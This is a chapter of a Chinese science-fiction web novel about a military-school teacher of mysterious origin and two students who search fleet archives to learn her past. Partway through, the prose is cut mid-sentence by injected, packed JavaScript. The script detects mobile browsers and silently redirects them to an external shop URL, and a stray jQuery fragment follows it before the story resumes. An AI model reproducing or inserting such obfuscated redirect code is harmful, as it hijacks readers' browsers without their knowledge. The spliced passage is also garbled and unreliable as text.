曲应星重新建了一个通知群，把所有人拉进去，再发了一遍通知，禁言之后又把之前的群改名并解除禁言。
好麻烦，她忧郁地喝了一口月光蜜，鲜甜的滋味暂时慰藉了她的心灵。
曲应星打开教务平台，开始干正事。
她开的是一门叫做《星球地理历史学》的通识选修课，时间安排在星期二早上八点到十点。
不知道哪个缺心眼排的，理论课排在上午，还是早八。
前天她看了一眼后台，选课的人寥寥无几，只有十几个学生。
她心里倒是松了一口气，至少达到开课的门槛，不用担心课开不了。
今天，今天怎么突然就满人了。
曲应星盯着满额的选课人数，揉了揉眉心，在后台查询选课数据，发现是在今天下午五点的选课截止时间前突然暴增的。
她稍微一转就知道了，很大可能是因为今天在开学典礼上的演讲，以及S班班主任的身份，很多学生想来试试咸淡。
曲应星无奈，她只希望明天的课上不要碰到今天的这种情况。
毕竟这门课不是随意开的。
曲应星为此卑微地低头，去咨询一位和她素来不合的正在某所军校任职的老师。
不愿透露姓名的某军校老师先是冷哼一声，发出居然也有曲应星求助的时候的猖狂大笑，然后才大发慈悲地表示可以透露秘诀。
“首先，务必选择一门理论课。体能课虽然看起来不用动脑子，但实际上很容易遇到自视甚高的尖子生，由此产生的麻烦简直难以想象。
其次，不要选艺术文学类的课，否则课上不得安宁，来自不同星球的学生将提出各种千奇百怪的问题，请不要高估她们彼此之间的理解力。
同时，请在自己的专业领域内选择.......”
曲应星认真地记好，给这位不愿透露姓名的军校老师点了个赞。
她苦思冥想，左思右想，翻来覆去回忆自己的前半生：不是在某个星球上打仗，就是在去某个星球打仗的路上。
好像没什么特别的。
不愿透露姓名的某军校老师灵机一动：“那你可以写不同星球的风貌介绍之类的。”
到处作战，怎么不能看成一种旅游呢！
曲应星豁然开朗，决定开这门名叫《星球历史地理学》的课，课程内容选择了她较为熟悉的五个星球，刚好学期五个月，一个月讲一个。
反正她只是来军校混日子的，上上水课，给学生们送送分，一举两得，岂不美哉。
曲应星顿时理直气壮起来。
那么，先讲哪颗星球呢？
她的思绪飘远，最终在教案上落下了“423星”。
423星，更广为人知的名字是云水星。从太空俯瞰，它像是一枚温润的浅蓝色宝石，又好似一滴凝固的眼泪。
海洋占据了它的绝大部分，陆地被分割为细长的岛屿和洲渚，彼此以浅海或相隔，潮涨时隐没，潮落时相连。
曲应星少年流浪，来到这也是阴差阳错，彼时她刚刚逃离870星的战火，孤身一人，在星港的广告屏上看到了云水星的宣传。
一对恋人站在雪白的沙滩上，用绵柔轻盈的云水语念出誓约，海浪翻滚，显现出蓝金与橙红色的光芒。
“告白、誓约、诀别、葬礼，都应当面朝大海说出。”
“每说一句真心话，潮光便会更亮一分。”
“谎言不会被海浪回应。”
“云水星，诗与海的故乡。”
她在这里度过了自己的少年时代，也迎来了改变她一生的转折点。
曲应星慢慢记录下模糊记忆里的确切时光，她的见闻、结识和情谊，顺便给亦未寝的云水星好友发消息，让她补充细节。
被吵醒的水无音：“......”
——云水星和首都标准时有六个小时的时差，她不信曲应星不知道。
·
路明晏在皇宫的寝室里黑着脸，早知道夜市会偶遇，她就不回来住了，黑心肝的财迷闻人青，遇到小曲老师的时候咋不说呢！
她今天下午典礼结束时就回到了皇宫，给还在工作的国王陛下发了通讯，问她能不能透露一下曲应星的背景。
【亲爱的陛下：不要多想，她是个优秀的孩子，你们一定会喜欢她的。】
【宇宙的天才：不是您外面的崽就好（黄豆流汗）】
【宇宙的天才：小曲老师今天说背景比我还大呢】
【亲爱的陛下：想挨揍了？】
【亲爱的陛下：过来，来书房】
【宇宙的天才：妈妈，请原谅您愚蠢的孩子。】
【亲爱的陛下：工作时称职位。】
【亲爱的陛下：把你爹也叫来。】
于是，宇宙天才路明晏灰溜溜地挨了一顿训，出门之后还没来得及松口气，又被她爹结结实实骂了一顿。
她在寝宫越想越气，干脆登录全息舱去找裴思尔，如果找不到，她就去《星战》打架。
好在裴思尔在线。
路明晏创建了个私人房间，把人拉进来。
私人房间遵循了她的审美，生成于一片闪耀的悬浮星海之上。
路明晏的虚拟形象显然精心捏过，偏向羲和星人的样貌特征。
熔金似的长卷发垂至腰侧，黄金般闪耀的螺纹型瞳孔，眼尾还拖着一抹彩色流光纹路，看起来像颗闪闪发光的太阳。
裴思尔则是最近比较流行的高智长发阴郁眼镜女形象。
后者一进房间，就嫌弃地往旁边退了两步：“你能不能别发光？闪到我眼睛了。真是幼稚的审美。”
路明晏懒散地坐进系统自动生成的躺椅里，顺手打开虚拟衣橱商城，开始给自己的形象换衣服：“我天生耀眼，没办法，裴思尔，叫老大。”
裴思尔选择用沉默结束这个话题。
路明晏一边翻找限量皮肤，一边问：“你那边有什么消息？”
裴思尔的姥姥裴照清是帝国现任三大元帅之一，后来退入元帅院，至今仍是军方举足轻重的人物。
而她的母亲裴长宁，则是现役第三舰队舰长，常年驻守首都星域外环，地位不容置疑。
按理来说，她肯定有内幕消息。
裴思尔站在一边，路明晏那实在太闪了：“不知道，我妈不告诉我。”
路明晏关掉商城，抬眼看她：“我老妈也不告诉我，小曲老师来头究竟有多大？”
“曲老师可能是特殊身份。”
“还用你废话，蠢货都知道吧。”
路明晏坐直身子，抬手一挥，私人房间里的星海瞬间暗了下去，取而代之的是一座巨大的军部档案库投影。
无数人名、战役编号和舰队档案悬浮在两人周围。
“跟我一起找。”
裴思尔推了推新买的眼镜：“我们也不一定要纠结曲老师的身份。只是师生关系而已。”
路明晏挑眉：“找不找？”
“……找。”
裴思尔调出自己的资料权限，带着第三舰队认证纹和元帅院加密标识的文件被推送过来，和路明晏调出的皇室权限档案自动交叠，筛除重复内容。
帝国现行军事体系大致分为三支。
第一支是直属中央军部的星穹舰队，下辖第一至第六舰队，以及长期执行深空作战的远征军。
第二支是地方防卫军，负责各星域以及行星内部的治安维护和防御。
第三支则是边疆守卫军，常年驻扎在虫族高危边境以及旧沦陷星带外围。
路明晏准备把近二十年来的名单都翻一遍。
星网的灵犀AI弹出温馨提示：【检测到您正在进行高强度资料检索，是否需要灵犀为您提供智能筛选服务？】
两人毫不犹豫拒绝，并关闭了灵犀。
第一舰队，没有。
第二舰队，没有。
第三、第四、第五、第六舰队，也没有。
远征军、地方防卫军、边疆守卫军，全部没有。
她们甚至一一比照了牺牲者的名单，但仍然没有。
时间飞速流逝，但都徒劳无功。即使有高等级的精神力和体质支撑，在高强度的搜索下，她们两人也熬不住了。
路明晏最后游魂般的点开了那支在战争中临时组建，至今仍被军校教材反复提起，却又始终带着几分神秘色彩的无冕舰队。
放在后面搜索的原因是，无冕舰队的所有人全
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965690|214501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
已牺牲。
她的目光在“星冕双刃”的照片上停留片刻。
“星冕双刃”是帝国军史对抵御虫族的战争中的两位传奇人物的并称。
一位是出生皇室，正规星穹舰队的天才指挥官上将埃莉诺，另一位则是带领幸存者从虫族沦陷区突围的奇迹单兵七一。
路明晏的指尖点在埃莉诺的金发上，喃喃自语：“我的名字就是小姨取的。”
裴思尔低声说了句“抱歉”。
路明晏很快回神，脸上又是平常那副自信昂然的神态：“说实话，我跟小姨并不熟。你知道的，在我出生之前，她就牺牲了。你应该也看过埃莉诺上将部分的书信吧？”
“埃莉诺上将是个有趣的人。”
裴思尔斟酌开口，她当然看过那部分公开的信件，确切的说，路明晏的名字是埃莉诺和七一一起取的。
星冕双刃当时在羲和星作战，那是个有着长达几个月的极昼，信奉光明的星球。
听闻陛下怀孕的消息，身为妹妹的埃莉诺在信中提供了取名的建议，和七一精挑细选的两个字，“明”和“晏”。
长夜将尽，天光明晏。
“我妈以前跟我说过小姨的事，别人都认为她是个无聊的人，性格无趣，只知道打仗。”
路明晏眼中晦暗的神情让人看不清，她鼓了顾腮帮子：“想不到，她在日记里会说那么多话，还总说自己更像个诗人。”
作为皇室成员，埃莉诺的资料完整详实，四十七年的履历行踪都有据可查。
她年少成名，拥有3S级的精神力，是毫无疑问的指挥天才，几乎战无不胜，指挥系的教科书中关于她指挥过的战争案例分析比比皆是。
相比之下，七一就显得格外神秘。
不知出身，没有姓名，“七一”只是当时她的军队编号，现存的所有资料都是从埃莉诺的通讯书信和战场记录中拼凑起来的。
就连照片也只有一张从记录仪里截下来的模糊侧脸。
画质很差，背景里全是跃迁光流和爆炸火线，那人站在机甲侧面，黑发黑眼，轮廓清瘦，半张脸隐在冷光之下。
但她已经死了，死在了与虫族的决战，死在曙光之前。
难道曲应星是那些死而复生的人？
裴思尔低声说：“对不上。”
路明晏扯扯唇角，也觉得脑子里的想法荒谬：“小曲老师看上去也就二十七八岁的样子，她总不可能十五岁就上战场吧，况且这照片看上去也不像少年人。”
调查陷入了僵局。
“说不定小曲老师不是军队里的人呢？”
“不可能，她一定是。”
路明晏也觉得是这样。
裴思尔坐在一张朴素的椅子上：“换个思路。我们可以从曲老师现在的样貌出发，银发金瞳。”
“如果这是小曲老师真实样貌的话。”
路明晏瞬间明白了她的意思，筛选出符合相貌的星球种族：“不要学我的叫法。”
很遗憾，除了发色和瞳色符合，其他都不符合。
“这么看，小曲老师的发色跟瞳色可能都不是天生的。”
“也有可能是混血儿。”
“你说的对，我必须承认你还是聪明的。”
“呵呵。”
知识渊博的裴思尔又提出一条线索：“你有没有发现曲老师有点口音？”
“别卖关子了。”
“我也不太确定。曲老师在某些咬字的地方很像方盈川。”
“你是说云水星？”
裴思尔颔首：“还有曲老师的耳坠和戒指，她看上去不像是会带这些饰品的人。”
“小曲老师一看就是没朋友的。我是说异性朋友，哪个小男孩会喜欢这种冰冷冷的女人。”
“同性朋友也可以送。”
“送就送呗。”
“就是因为你一直歪话题，所以导致我们效率很低。”
“我们已经查完了近20年所有舰队的档案！”
“都是我在查。”
“你继续揽功劳！”
“我不想和小孩子吵。”
“你这个从小到大始终如一的烦人精！”
“那你是个麻烦精！”